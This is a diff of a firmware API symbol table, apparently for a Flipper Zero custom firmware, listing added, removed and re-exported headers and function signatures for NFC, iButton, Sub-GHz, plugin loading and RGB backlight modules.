Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -30,11 +31,13 @@ Header,+,applications/services/gui/modules/widget_elements/widget_element.h,, Header,+,applications/services/gui/view_dispatcher.h,, Header,+,applications/services/gui/view_stack.h,, Header,+,applications/services/input/input.h,, +Header,+,applications/services/loader/firmware_api/firmware_api.h,, Header,+,applications/services/loader/loader.h,, Header,+,applications/services/locale/locale.h,, Header,+,applications/services/notification/notification.h,, Header,+,applications/services/notification/notification_messages.h,, Header,+,applications/services/power/power_service/power.h,, +Header,+,applications/services/rgb_backlight/rgb_backlight.h,, Header,+,applications/services/rpc/rpc_app.h,, Header,+,applications/services/storage/storage.h,, Header,+,applications/services/xtreme/assets.h,, @@ -65,7 +68,6 @@ Header,+,firmware/targets/furi_hal_include/furi_hal.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt_hid.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt_serial.h,, -Header,+,firmware/targets/furi_hal_include/furi_hal_compress.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_cortex.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_crypto.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_debug.h,, @@ -116,9 +118,16 @@ Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_utils.h,, Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_wwdg.h,, Header,-,lib/STM32CubeWB/Middlewares/Third_Party/FreeRTOS/Source/include/FreeRTOS.h,, Header,+,lib/STM32CubeWB/Middlewares/Third_Party/FreeRTOS/Source/include/stream_buffer.h,, +Header,+,lib/flipper_application/api_hashtable/api_hashtable.h,, +Header,+,lib/flipper_application/api_hashtable/compilesort.hpp,, Header,+,lib/flipper_application/flipper_application.h,, +Header,+,lib/flipper_application/plugins/composite_resolver.h,, +Header,+,lib/flipper_application/plugins/plugin_manager.h,, Header,+,lib/flipper_format/flipper_format.h,, Header,+,lib/flipper_format/flipper_format_i.h,, +Header,+,lib/ibutton/ibutton_key.h,, +Header,+,lib/ibutton/ibutton_protocols.h,, +Header,+,lib/ibutton/ibutton_worker.h,, Header,+,lib/infrared/encoder_decoder/infrared.h,, Header,+,lib/infrared/worker/infrared_transmit.h,, Header,+,lib/infrared/worker/infrared_worker.h,, @@ -168,14 +177,11 @@ Header,+,lib/mlib/m-rbtree.h,, Header,+,lib/mlib/m-tuple.h,, Header,+,lib/mlib/m-variant.h,, Header,+,lib/nfc/nfc_device.h,, -Header,+,lib/one_wire/ibutton/ibutton_key.h,, -Header,+,lib/one_wire/ibutton/ibutton_protocols.h,, -Header,+,lib/one_wire/ibutton/ibutton_worker.h,, Header,+,lib/one_wire/maxim_crc.h,, Header,+,lib/one_wire/one_wire_host.h,, -Header,+,lib/one_wire/one_wire_host_timing.h,, Header,+,lib/one_wire/one_wire_slave.h,, Header,+,lib/print/wrappers.h,, +Header,+,lib/pulse_reader/pulse_reader.h,, Header,+,lib/subghz/blocks/const.h,, Header,+,lib/subghz/blocks/decoder.h,, Header,+,lib/subghz/blocks/encoder.h,, @@ -194,7 +200,6 @@ Header,+,lib/toolbox/args.h,, Header,+,lib/toolbox/crc32_calc.h,, Header,+,lib/toolbox/dir_walk.h,, Header,+,lib/toolbox/float_tools.h,, -Header,+,lib/toolbox/hmac_sha256.h,, Header,+,lib/toolbox/manchester_decoder.h,, Header,+,lib/toolbox/manchester_encoder.h,, Header,+,lib/toolbox/md5.h,, @@ -203,6 +208,7 @@ Header,+,lib/toolbox/pretty_format.h,, Header,+,lib/toolbox/protocols/protocol_dict.h,, Header,+,lib/toolbox/random_name.h,, Header,+,lib/toolbox/saved_struct.h,, +Header,+,lib/toolbox/sha256.h,, Header,+,lib/toolbox/stream/buffered_file_stream.h,, Header,+,lib/toolbox/stream/file_stream.h,, Header,+,lib/toolbox/stream/stream.h,, @@ -308,6 +314,10 @@ Function,-,LL_USART_DeInit,ErrorStatus,USART_TypeDef* Function,+,LL_USART_Init,ErrorStatus,"USART_TypeDef*, LL_USART_InitTypeDef*" Function,-,LL_USART_StructInit,void,LL_USART_InitTypeDef* Function,-,LL_mDelay,void,uint32_t +Function,-,SK6805_get_led_count,uint8_t, +Function,-,SK6805_init,void, +Function,-,SK6805_set_led_color,void,"uint8_t, uint8_t, uint8_t, uint8_t" +Function,-,SK6805_update,void, Function,-,SystemCoreClockUpdate,void, Function,-,SystemInit,void, Function,+,XTREME_ASSETS,XtremeAssets*, @@ -509,7 +519,7 @@ Function,+,aligned_free,void,void* Function,+,aligned_malloc,void*,"size_t, size_t" Function,-,alutech_get_custom_btn,uint8_t, Function,-,alutech_get_original_btn,uint8_t, -Function,-,alutech_reset_original_btn,void, +Function,+,alutech_reset_original_btn,void, Function,-,alutech_set_btn,void,uint8_t Function,-,arc4random,__uint32_t, Function,-,arc4random_buf,void,"void*, size_t" @@ -716,6 +726,17 @@ Function,+,cli_session_close,void,Cli* Function,+,cli_session_open,void,"Cli*, void*" Function,+,cli_write,void,"Cli*, const uint8_t*, size_t" Function,-,clock,clock_t, +Function,+,composite_api_resolver_add,void,"CompositeApiResolver*, const ElfApiInterface*" +Function,+,composite_api_resolver_alloc,CompositeApiResolver*, +Function,+,composite_api_resolver_free,void,CompositeApiResolver* +Function,+,composite_api_resolver_get,const ElfApiInterface*,CompositeApiResolver* +Function,-,compress_alloc,Compress*,uint16_t +Function,-,compress_decode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,-,compress_encode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,-,compress_free,void,Compress* +Function,-,compress_icon_alloc,CompressIcon*, +Function,-,compress_icon_decode,void,"CompressIcon*, const uint8_t*, uint8_t**" +Function,-,compress_icon_free,void,CompressIcon* Function,-,copysign,double,"double, double" Function,-,copysignf,float,"float, float" Function,-,copysignl,long double,"long double, long double" @@ -771,6 +792,7 @@ Function,-,digital_sequence_free,void,DigitalSequence* Function,-,digital_sequence_send,_Bool,DigitalSequence* Function,-,digital_sequence_set_sendtime,void,"DigitalSequence*, uint32_t" Function,-,digital_sequence_set_signal,void,"DigitalSequence*, uint8_t, DigitalSignal*" +Function,-,digital_sequence_timebase_correction,void,"DigitalSequence*, float" Function,-,digital_signal_add,void,"DigitalSignal*, uint32_t" Function,-,digital_signal_add_pulse,void,"DigitalSignal*, uint32_t, _Bool" Function,-,digital_signal_alloc,DigitalSignal*,uint32_t @@ -779,7 +801,7 @@ Function,-,digital_signal_free,void,DigitalSignal* Function,-,digital_signal_get_edge,uint32_t,"DigitalSignal*, uint32_t" Function,-,digital_signal_get_edges_cnt,uint32_t,DigitalSignal* Function,-,digital_signal_get_start_level,_Bool,DigitalSignal* -Function,-,digital_signal_prepare,void,DigitalSignal* +Function,-,digital_signal_prepare_arr,void,DigitalSignal* Function,-,digital_signal_send,void,"DigitalSignal*, const GpioPin*" Function,-,diprintf,int,"int, const char*, ..." Function,+,dir_walk_alloc,DirWalk*,Storage* @@ -831,13 +853,14 @@ Function,+,elements_multiline_text_aligned,void,"Canvas*, uint8_t, uint8_t, Alig Function,+,elements_multiline_text_framed,void,"Canvas*, uint8_t, uint8_t, const char*" Function,+,elements_progress_bar,void,"Canvas*, uint8_t, uint8_t, uint8_t, float" Function,+,elements_progress_bar_with_text,void,"Canvas*, uint8_t, uint8_t, uint8_t, float, const char*" -Function,+,elements_scrollable_text_line,void,"Canvas*, uint8_t, uint8_t, uint8_t, FuriString*, size_t, _Bool" +Function,+,elements_scrollable_text_line,void,"Canvas*, uint8_t, uint8_t, uint8_t, FuriString*, size_t, _Bool, _Bool" Function,+,elements_scrollbar,void,"Canvas*, uint16_t, uint16_t" Function,+,elements_scrollbar_pos,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint16_t, uint16_t" Function,+,elements_slightly_rounded_box,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t" Function,+,elements_slightly_rounded_frame,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t" Function,+,elements_string_fit_width,void,"Canvas*, FuriString*, uint8_t" Function,+,elements_text_box,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t, Align, Align, const char*, _Bool" +Function,+,elf_resolve_from_hashtable,_Bool,"const ElfApiInterface*, const char*, Elf32_Addr*" Function,+,empty_screen_alloc,EmptyScreen*, Function,+,empty_screen_free,void,EmptyScreen* Function,+,empty_screen_get_view,View*,EmptyScreen* @@ -866,12 +889,28 @@ Function,-,expm1l,long double,long double Function,-,fabs,double,double Function,-,fabsf,float,float Function,-,fabsl,long double,long double +Function,+,fap_loader_load_name_and_icon,_Bool,"FuriString*, Storage*, uint8_t**, FuriString*" Function,-,fclose,int,FILE* Function,-,fcloseall,int, Function,-,fdim,double,"double, double" Function,-,fdimf,float,"float, float" Function,-,fdiml,long double,"long double, long double" Function,-,fdopen,FILE*,"int, const char*" +Function,-,felica_check_ic_type,_Bool,uint8_t* +Function,-,felica_clear,void,FelicaData* +Function,-,felica_define_normal_block,void,"FelicaService*, uint16_t, uint8_t*" +Function,-,felica_get_ic_type,FelicaICType,uint8_t* +Function,-,felica_get_service_name,FuriString*,FelicaService* +Function,-,felica_get_system_name,FuriString*,FelicaSystem* +Function,-,felica_lite_can_read_without_mac,_Bool,"uint8_t*, uint8_t" +Function,-,felica_lite_prepare_unencrypted_read,uint8_t,"uint8_t*, const FelicaReader*, _Bool, const uint8_t*, uint8_t" +Function,-,felica_lite_prepare_unencrypted_write,uint8_t,"uint8_t*, const FelicaReader*, const uint8_t*, uint8_t, const uint8_t*" +Function,-,felica_parse_unencrypted_read,uint16_t,"uint8_t*, uint8_t, FelicaReader*, uint8_t*, uint16_t" +Function,-,felica_parse_unencrypted_write,_Bool,"uint8_t*, uint8_t, FelicaReader*" +Function,-,felica_prepare_unencrypted_read,uint8_t,"uint8_t*, const FelicaReader*, const uint16_t*, uint8_t, const uint32_t*, uint8_t" +Function,-,felica_prepare_unencrypted_write,uint8_t,"uint8_t*, FelicaReader*, const uint16_t*, uint8_t, const uint32_t*, uint8_t, const uint8_t*" +Function,-,felica_read_card,_Bool,"FuriHalNfcTxRxContext*, FelicaData*, uint8_t*, uint8_t*" +Function,-,felica_read_lite_system,_Bool,"FuriHalNfcTxRxContext*, FelicaReader*, FelicaData*, FelicaSystem*" Function,-,feof,int,FILE* Function,-,feof_unlocked,int,FILE* Function,-,ferror,int,FILE* @@ -923,14 +962,16 @@ Function,-,fiscanf,int,"FILE*, const char*, ..." Function,+,flipper_application_alloc,FlipperApplication*,"Storage*, const ElfApiInterface*" Function,+,flipper_application_free,void,FlipperApplication* Function,+,flipper_application_get_manifest,const FlipperApplicationManifest*,FlipperApplication* +Function,+,flipper_application_is_plugin,_Bool,FlipperApplication* Function,+,flipper_application_load_status_to_string,const char*,FlipperApplicationLoadStatus Function,+,flipper_application_manifest_is_compatible,_Bool,"const FlipperApplicationManifest*, const ElfApiInterface*" Function,+,flipper_application_manifest_is_target_compatible,_Bool,const FlipperApplicationManifest* Function,+,flipper_application_manifest_is_valid,_Bool,const FlipperApplicationManifest* Function,+,flipper_application_map_to_memory,FlipperApplicationLoadStatus,FlipperApplication* +Function,+,flipper_application_plugin_get_descriptor,const FlipperAppPluginDescriptor*,FlipperApplication* Function,+,flipper_application_preload,FlipperApplicationPreloadStatus,"FlipperApplication*, const char*" Function,+,flipper_application_preload_manifest,FlipperApplicationPreloadStatus,"FlipperApplication*, const char*" -Function,-,flipper_application_preload_status_to_string,const char*,FlipperApplicationPreloadStatus +Function,+,flipper_application_preload_status_to_string,const char*,FlipperApplicationPreloadStatus Function,+,flipper_application_spawn,FuriThread*,"FlipperApplication*, void*" Function,+,flipper_format_buffered_file_alloc,FlipperFormat*,Storage* Function,+,flipper_format_buffered_file_close,_Bool,FlipperFormat* @@ -1115,12 +1156,6 @@ Function,-,furi_hal_clock_resume_tick,void, Function,-,furi_hal_clock_suspend_tick,void, Function,-,furi_hal_clock_switch_to_hsi,void, Function,-,furi_hal_clock_switch_to_pll,void, -Function,-,furi_hal_compress_alloc,FuriHalCompress*,uint16_t -Function,-,furi_hal_compress_decode,_Bool,"FuriHalCompress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" -Function,-,furi_hal_compress_encode,_Bool,"FuriHalCompress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" -Function,-,furi_hal_compress_free,void,FuriHalCompress* -Function,-,furi_hal_compress_icon_decode,void,"const uint8_t*, uint8_t**" -Function,-,furi_hal_compress_icon_init,void, Function,+,furi_hal_console_disable,void, Function,+,furi_hal_console_enable,void, Function,+,furi_hal_console_init,void, @@ -1674,15 +1709,13 @@ Function,+,gui_direct_draw_release,void,Gui* Function,+,gui_get_framebuffer_size,size_t,const Gui* Function,+,gui_remove_framebuffer_callback,void,"Gui*, GuiCanvasCommitCallback, void*" Function,+,gui_remove_view_port,void,"Gui*, ViewPort*" +Function,+,gui_set_hide_statusbar,void,"Gui*, _Bool" Function,+,gui_set_lockdown,void,"Gui*, _Bool" Function,-,gui_view_port_send_to_back,void,"Gui*, ViewPort*" Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*" Function,+,hal_sd_detect,_Bool, Function,+,hal_sd_detect_init,void, Function,+,hal_sd_detect_set_low,void, -Function,+,hmac_sha256_finish,void,"const hmac_sha256_context*, const uint8_t*, uint8_t*" -Function,+,hmac_sha256_init,void,"hmac_sha256_context*, const uint8_t*" -Function,+,hmac_sha256_update,void,"const hmac_sha256_context*, const uint8_t*, unsigned" Function,-,hypot,double,"double, double" Function,-,hypotf,float,"float, float" Function,-,hypotl,long double,"long double, long double" @@ -1803,8 +1836,6 @@ Function,-,islower,int,int Function,-,islower_l,int,"int, locale_t" Function,-,isnan,int,double Function,-,isnanf,int,float -Function,-,iso7816_tlv_parse,TlvInfo,const uint8_t* -Function,-,iso7816_tlv_select,TlvInfo,"const uint8_t*, size_t, const uint16_t[], size_t" Function,-,isprint,int,int Function,-,isprint_l,int,"int, locale_t" Function,-,ispunct,int,int @@ -1825,9 +1856,9 @@ Function,-,jnf,float,"int, float" Function,-,jrand48,long,unsigned short[3] Function,-,keeloq_get_custom_btn,uint8_t, Function,-,keeloq_get_original_btn,uint8_t, -Function,-,keeloq_reset_kl_type,void, -Function,-,keeloq_reset_mfname,void, -Function,-,keeloq_reset_original_btn,void, +Function,+,keeloq_reset_kl_type,void, +Function,+,keeloq_reset_mfname,void, +Function,+,keeloq_reset_original_btn,void, Function,-,keeloq_set_btn,void,uint8_t Function,-,l64a,char*,long Function,-,labs,long,long @@ -1878,6 +1909,7 @@ Function,+,loader_get_pubsub,FuriPubSub*,Loader* Function,+,loader_is_locked,_Bool,const Loader* Function,+,loader_lock,_Bool,Loader* Function,+,loader_show_menu,void, +Function,+,loader_show_settings,void, Function,+,loader_start,LoaderStatus,"Loader*, const char*, const char*" Function,+,loader_unlock,void,Loader* Function,+,loader_update_menu,void, @@ -1994,7 +2026,7 @@ Function,-,mf_classic_auth_write_block,_Bool,"FuriHalNfcTxRxContext*, MfClassicB Function,-,mf_classic_authenticate,_Bool,"FuriHalNfcTxRxContext*, uint8_t, uint64_t, MfClassicKey" Function,-,mf_classic_authenticate_skip_activate,_Bool,"FuriHalNfcTxRxContext*, uint8_t, uint64_t, MfClassicKey, _Bool, uint32_t" Function,-,mf_classic_block_to_value,_Bool,"const uint8_t*, int32_t*, uint8_t*" -Function,-,mf_classic_check_card_type,_Bool,"uint8_t, uint8_t, uint8_t" +Function,-,mf_classic_check_card_type,_Bool,FuriHalNfcADevData* Function,-,mf_classic_dict_add_key,_Bool,"MfClassicDict*, uint8_t*" Function,-,mf_classic_dict_add_key_str,_Bool,"MfClassicDict*, FuriString*" Function,-,mf_classic_dict_alloc,MfClassicDict*,MfClassicDictType @@ -2012,7 +2044,7 @@ Function,-,mf_classic_dict_is_key_present,_Bool,"MfClassicDict*, uint8_t*" Function,-,mf_classic_dict_is_key_present_str,_Bool,"MfClassicDict*, FuriString*" Function,-,mf_classic_dict_rewind,_Bool,MfClassicDict* Function,-,mf_classic_emulator,_Bool,"MfClassicEmulator*, FuriHalNfcTxRxContext*" -Function,-,mf_classic_get_classic_type,MfClassicType,"uint8_t, uint8_t, uint8_t" +Function,-,mf_classic_get_classic_type,MfClassicType,FuriHalNfcADevData* Function,-,mf_classic_get_read_sectors_and_keys,void,"MfClassicData*, uint8_t*, uint8_t*" Function,-,mf_classic_get_sector_by_block,uint8_t,uint8_t Function,-,mf_classic_get_sector_trailer_block_num_by_sector,uint8_t,uint8_t @@ -2053,7 +2085,7 @@ Function,-,mf_df_cat_file,void,"MifareDesfireFile*, FuriString*" Function,-,mf_df_cat_free_mem,void,"MifareDesfireFreeMemory*, FuriString*" Function,-,mf_df_cat_key_settings,void,"MifareDesfireKeySettings*, FuriString*" Function,-,mf_df_cat_version,void,"MifareDesfireVersion*, FuriString*" -Function,-,mf_df_check_card_type,_Bool,"uint8_t, uint8_t, uint8_t" +Function,-,mf_df_check_card_type,_Bool,FuriHalNfcADevData* Function,-,mf_df_clear,void,MifareDesfireData* Function,-,mf_df_parse_get_application_ids_response,_Bool,"uint8_t*, uint16_t, MifareDesfireApplication**" Function,-,mf_df_parse_get_file_ids_response,_Bool,"uint8_t*, uint16_t, MifareDesfireFile**" @@ -2076,7 +2108,7 @@ Function,-,mf_df_prepare_read_data,uint16_t,"uint8_t*, uint8_t, uint32_t, uint32 Function,-,mf_df_prepare_read_records,uint16_t,"uint8_t*, uint8_t, uint32_t, uint32_t" Function,-,mf_df_prepare_select_application,uint16_t,"uint8_t*, uint8_t[3]" Function,-,mf_df_read_card,_Bool,"FuriHalNfcTxRxContext*, MifareDesfireData*" -Function,-,mf_ul_check_card_type,_Bool,"uint8_t, uint8_t, uint8_t" +Function,-,mf_ul_check_card_type,_Bool,FuriHalNfcADevData* Function,-,mf_ul_is_full_capture,_Bool,MfUltralightData* Function,-,mf_ul_prepare_emulation,void,"MfUltralightEmulator*, MfUltralightData*" Function,-,mf_ul_prepare_emulation_response,_Bool,"uint8_t*, uint16_t, uint8_t*, uint16_t*, uint32_t*, void*" @@ -2105,33 +2137,6 @@ Function,-,modf,double,"double, double*" Function,-,modff,float,"float, float*" Function,-,modfl,long double,"long double, long double*" Function,-,mrand48,long, -Function,-,mrtd_alloc_init,MrtdApplication*,"FuriHalNfcTxRxContext*, MrtdData*" -Function,-,mrtd_auth_method_parse_string,_Bool,"MrtdAuthMethod*, const char*" -Function,-,mrtd_auth_method_string,const char*,MrtdAuthMethod -Function,-,mrtd_auth_params_load,_Bool,"Storage*, DialogsApp*, MrtdAuthData*, const char*, _Bool" -Function,-,mrtd_auth_params_save,_Bool,"Storage*, DialogsApp*, MrtdAuthData*, const char*" -Function,-,mrtd_auth_params_save_file,_Bool,"Storage*, DialogsApp*, MrtdAuthData*, const char*, const char*, const char*" -Function,-,mrtd_authenticate,_Bool,MrtdApplication* -Function,-,mrtd_bac_check_digit,uint8_t,"const char*, const uint8_t" -Function,-,mrtd_bac_decrypt,_Bool,"const uint8_t*, size_t, uint8_t*, uint8_t*" -Function,-,mrtd_bac_decrypt_verify,_Bool,"const uint8_t*, size_t, uint8_t*, uint8_t*, uint8_t*" -Function,-,mrtd_bac_decrypt_verify_sm,uint16_t,"const uint8_t*, size_t, uint8_t*, uint8_t*, uint64_t, uint8_t*, size_t*" -Function,-,mrtd_bac_encrypt,_Bool,"const uint8_t*, size_t, const uint8_t*, uint8_t*" -Function,-,mrtd_bac_get_kmrz,_Bool,"MrtdAuthData*, char*, uint8_t" -Function,-,mrtd_bac_keys,_Bool,"MrtdAuthData*, uint8_t[16], uint8_t[16]" -Function,-,mrtd_bac_keys_from_seed,_Bool,"const uint8_t*, uint8_t*, uint8_t*" -Function,-,mrtd_bac_mac,_Bool,"const uint8_t*, size_t, const uint8_t*, uint8_t*" -Function,-,mrtd_bac_mac_finalize,_Bool,"mrtd_bac_mac_ctx*, uint8_t[8]" -Function,-,mrtd_bac_mac_init,_Bool,"mrtd_bac_mac_ctx*, const uint8_t[16]" -Function,-,mrtd_bac_mac_pad,_Bool,mrtd_bac_mac_ctx* -Function,-,mrtd_bac_mac_update,_Bool,"mrtd_bac_mac_ctx*, const uint8_t*, size_t" -Function,-,mrtd_bac_padded_mac,_Bool,"const uint8_t*, size_t, uint8_t*, uint8_t*" -Function,-,mrtd_parse_date,void,"MrtdDate*, const unsigned char*" -Function,-,mrtd_print_date,void,"char*, MrtdDate*" -Function,-,mrtd_protect_apdu,size_t,"uint8_t, uint8_t, uint8_t, uint8_t, uint8_t, const void*, int16_t, const uint8_t*, const uint8_t*, uint64_t, uint8_t*" -Function,-,mrtd_read_parse_file,_Bool,"MrtdApplication*, EFFile" -Function,-,mrtd_select_app,_Bool,"MrtdApplication*, AIDValue" -Function,-,mrtd_tag_to_file,const EFFile*,uint8_t Function,-,nan,double,const char* Function,-,nanf,float,const char* Function,-,nanl,long double,const char* @@ -2168,17 +2173,17 @@ Function,-,nfca_get_crc16,uint16_t,"uint8_t*, uint16_t" Function,-,nfca_signal_alloc,NfcaSignal*, Function,-,nfca_signal_encode,void,"NfcaSignal*, uint8_t*, uint16_t, uint8_t*" Function,-,nfca_signal_free,void,NfcaSignal* -Function,-,nfcv_emu_deinit,void,NfcVData* -Function,-,nfcv_emu_init,void,"FuriHalNfcDevData*, NfcVData*" -Function,-,nfcv_emu_loop,_Bool,"FuriHalNfcTxRxContext*, FuriHalNfcDevData*, NfcVData*, uint32_t" -Function,-,nfcv_emu_send,void,"FuriHalNfcTxRxContext*, NfcVData*, uint8_t*, uint8_t, NfcVSendFlags, uint32_t" +Function,+,nfcv_emu_deinit,void,NfcVData* +Function,+,nfcv_emu_init,void,"FuriHalNfcDevData*, NfcVData*" +Function,+,nfcv_emu_loop,_Bool,"FuriHalNfcTxRxContext*, FuriHalNfcDevData*, NfcVData*, uint32_t" +Function,+,nfcv_emu_send,void,"FuriHalNfcTxRxContext*, NfcVData*, uint8_t*, uint8_t, NfcVSendFlags, uint32_t" Function,-,nfcv_inventory,ReturnCode,uint8_t* Function,-,nfcv_read_blocks,ReturnCode,"NfcVReader*, NfcVData*" Function,-,nfcv_read_card,_Bool,"NfcVReader*, FuriHalNfcDevData*, NfcVData*" Function,-,nfcv_read_sysinfo,ReturnCode,"FuriHalNfcDevData*, NfcVData*" Function,-,nice_flors_get_custom_btn,uint8_t, Function,-,nice_flors_get_original_btn,uint8_t, -Function,-,nice_flors_reset_original_btn,void, +Function,+,nice_flors_reset_original_btn,void, Function,-,nice_flors_set_btn,void,uint8_t Function,+,notification_internal_message,void,"NotificationApp*, const NotificationSequence*" Function,+,notification_internal_message_block,void,"NotificationApp*, const NotificationSequence*" @@ -2193,8 +2198,8 @@ Function,+,onewire_host_read_bit,_Bool,OneWireHost* Function,+,onewire_host_read_bytes,void,"OneWireHost*, uint8_t*, uint16_t" Function,+,onewire_host_reset,_Bool,OneWireHost* Function,+,onewire_host_reset_search,void,OneWireHost* -Function,+,onewire_host_search,uint8_t,"OneWireHost*, uint8_t*, OneWireHostSearchMode" -Function,+,onewire_host_skip,void,OneWireHost* +Function,+,onewire_host_search,_Bool,"OneWireHost*, uint8_t*, OneWireHostSearchMode" +Function,+,onewire_host_set_overdrive,void,"OneWireHost*, _Bool" Function,+,onewire_host_start,void,OneWireHost* Function,+,onewire_host_stop,void,OneWireHost* Function,+,onewire_host_target_search,void,"OneWireHost*, uint8_t" @@ -2208,6 +2213,7 @@ Function,+,onewire_slave_receive_bit,_Bool,OneWireSlave* Function,+,onewire_slave_send,_Bool,"OneWireSlave*, const uint8_t*, size_t" Function,+,onewire_slave_send_bit,_Bool,"OneWireSlave*, _Bool" Function,+,onewire_slave_set_command_callback,void,"OneWireSlave*, OneWireSlaveCommandCallback, void*" +Function,+,onewire_slave_set_overdrive,void,"OneWireSlave*, _Bool" Function,+,onewire_slave_set_reset_callback,void,"OneWireSlave*, OneWireSlaveResetCallback, void*" Function,+,onewire_slave_set_result_callback,void,"OneWireSlave*, OneWireSlaveResultCallback, void*" Function,+,onewire_slave_start,void,OneWireSlave* @@ -2231,6 +2237,13 @@ Function,-,platformProtectST25RComm,void, Function,-,platformSetIrqCallback,void,PlatformIrqCallback Function,-,platformSpiTxRx,_Bool,"const uint8_t*, uint8_t*, uint16_t" Function,-,platformUnprotectST25RComm,void, +Function,+,plugin_manager_alloc,PluginManager*,"const char*, uint32_t, const ElfApiInterface*" +Function,+,plugin_manager_free,void,PluginManager* +Function,+,plugin_manager_get,const FlipperAppPluginDescriptor*,"PluginManager*, uint32_t" +Function,+,plugin_manager_get_count,uint32_t,PluginManager* +Function,+,plugin_manager_get_ep,const void*,"PluginManager*, uint32_t" +Function,+,plugin_manager_load_all,PluginManagerError,"PluginManager*, const char*" +Function,+,plugin_manager_load_single,PluginManagerError,"PluginManager*, const char*" Function,-,popen,FILE*,"const char*, const char*" Function,+,popup_alloc,Popup*, Function,+,popup_disable_timeout,void,Popup* @@ -2287,6 +2300,7 @@ Function,-,pulse_reader_free,void,PulseReader* Function,-,pulse_reader_receive,uint32_t,"PulseReader*, int" Function,-,pulse_reader_samples,uint32_t,PulseReader* Function,-,pulse_reader_set_bittime,void,"PulseReader*, uint32_t" +Function,-,pulse_reader_set_pull,void,"PulseReader*, GpioPull" Function,-,pulse_reader_set_timebase,void,"PulseReader*, PulseReaderUnit" Function,-,pulse_reader_start,void,PulseReader* Function,-,pulse_reader_stop,void,PulseReader* @@ -2495,6 +2509,13 @@ Function,-,rfal_platform_spi_acquire,void, Function,-,rfal_platform_spi_release,void, Function,-,rfal_set_callback_context,void,void* Function,-,rfal_set_state_changed_callback,void,RfalStateChangedCallback +Function,+,rgb_backlight_get_color_count,uint8_t, +Function,+,rgb_backlight_get_color_text,const char*,uint8_t +Function,+,rgb_backlight_get_settings,RGBBacklightSettings*, +Function,-,rgb_backlight_load_settings,void, +Function,+,rgb_backlight_save_settings,void, +Function,+,rgb_backlight_set_color,void,uint8_t +Function,-,rgb_backlight_update,void,uint8_t Function,-,rindex,char*,"const char*, int" Function,-,rint,double,double Function,-,rintf,float,float @@ -2547,6 +2568,10 @@ Function,+,scene_manager_search_and_switch_to_previous_scene_one_of,_Bool,"Scene Function,+,scene_manager_set_scene_state,void,"SceneManager*, uint32_t, uint32_t" Function,+,scene_manager_stop,void,SceneManager* Function,+,sd_api_get_fs_type_text,const char*,SDFsType +Function,-,secplus2_get_custom_btn,uint8_t, +Function,-,secplus2_get_original_btn,uint8_t, +Function,+,secplus2_reset_original_btn,void, +Function,-,secplus2_set_btn,void,uint8_t Function,-,secure_getenv,char*,const char* Function,-,seed48,unsigned short*,unsigned short[3] Function,-,select,int,"int, fd_set*, fd_set*, fd_set*, timeval*" @@ -2584,7 +2609,7 @@ Function,-,sniprintf,int,"char*, size_t, const char*, ..." Function,+,snprintf,int,"char*, size_t, const char*, ..." Function,-,somfy_telis_get_custom_btn,uint8_t, Function,-,somfy_telis_get_original_btn,uint8_t, -Function,-,somfy_telis_reset_original_btn,void, +Function,+,somfy_telis_reset_original_btn,void, Function,-,somfy_telis_set_btn,void,uint8_t Function,-,sprintf,int,"char*, const char*, ..." Function,-,sqrt,double,double @@ -2594,8 +2619,8 @@ Function,+,srand,void,unsigned Function,-,srand48,void,long Function,-,srandom,void,unsigned Function,+,sscanf,int,"const char*, const char*, ..." -Function,-,star_line_reset_kl_type,void, -Function,-,star_line_reset_mfname,void, +Function,+,star_line_reset_kl_type,void, +Function,+,star_line_reset_mfname,void, Function,+,storage_common_copy,FS_Error,"Storage*, const char*, const char*" Function,+,storage_common_exists,_Bool,"Storage*, const char*" Function,+,storage_common_fs_info,FS_Error,"Storage*, const char*, uint64_t*, uint64_t*" @@ -2615,6 +2640,7 @@ Function,-,storage_dir_rewind,_Bool,File* Function,+,storage_error_get_desc,const char*,FS_Error Function,+,storage_file_alloc,File*,Storage* Function,+,storage_file_close,_Bool,File* +Function,+,storage_file_copy_to_file,_Bool,"File*, File*, uint32_t" Function,+,storage_file_eof,_Bool,File* Function,+,storage_file_exists,_Bool,"Storage*, const char*" Function,+,storage_file_free,void,File* @@ -3388,6 +3414,7 @@ Function,+,subghz_worker_set_pair_callback,void,"SubGhzWorker*, SubGhzWorkerPair Function,+,subghz_worker_start,void,SubGhzWorker* Function,+,subghz_worker_stop,void,SubGhzWorker* Function,+,submenu_add_item,void,"Submenu*, const char*, uint32_t, SubmenuItemCallback, void*" +Function,+,submenu_add_lockable_item,void,"Submenu*, const char*, uint32_t, SubmenuItemCallback, void*, _Bool, const char*" Function,+,submenu_alloc,Submenu*, Function,+,submenu_free,void,Submenu* Function,+,submenu_get_view,View*,Submenu* @@ -3446,7 +3473,6 @@ Function,-,timerStopwatchMeasure,uint32_t, Function,-,timerStopwatchStart,void, Function,-,timingsafe_bcmp,int,"const void*, const void*, size_t" Function,-,timingsafe_memcmp,int,"const void*, const void*, size_t" -Function,-,tlv_number,int,TlvInfo Function,-,tmpfile,FILE*, Function,-,tmpnam,char*,char* Function,-,toascii,int,int @@ -4617,6 +4643,7 @@ Function,+,variable_item_list_set_enter_callback,void,"VariableItemList*, Variab Function,+,variable_item_list_set_selected_item,void,"VariableItemList*, uint8_t" Function,+,variable_item_set_current_value_index,void,"VariableItem*, uint8_t" Function,+,variable_item_set_current_value_text,void,"VariableItem*, const char*" +Function,+,variable_item_set_locked,void,"VariableItem*, _Bool, const char*" Function,+,variable_item_set_values_count,void,"VariableItem*, 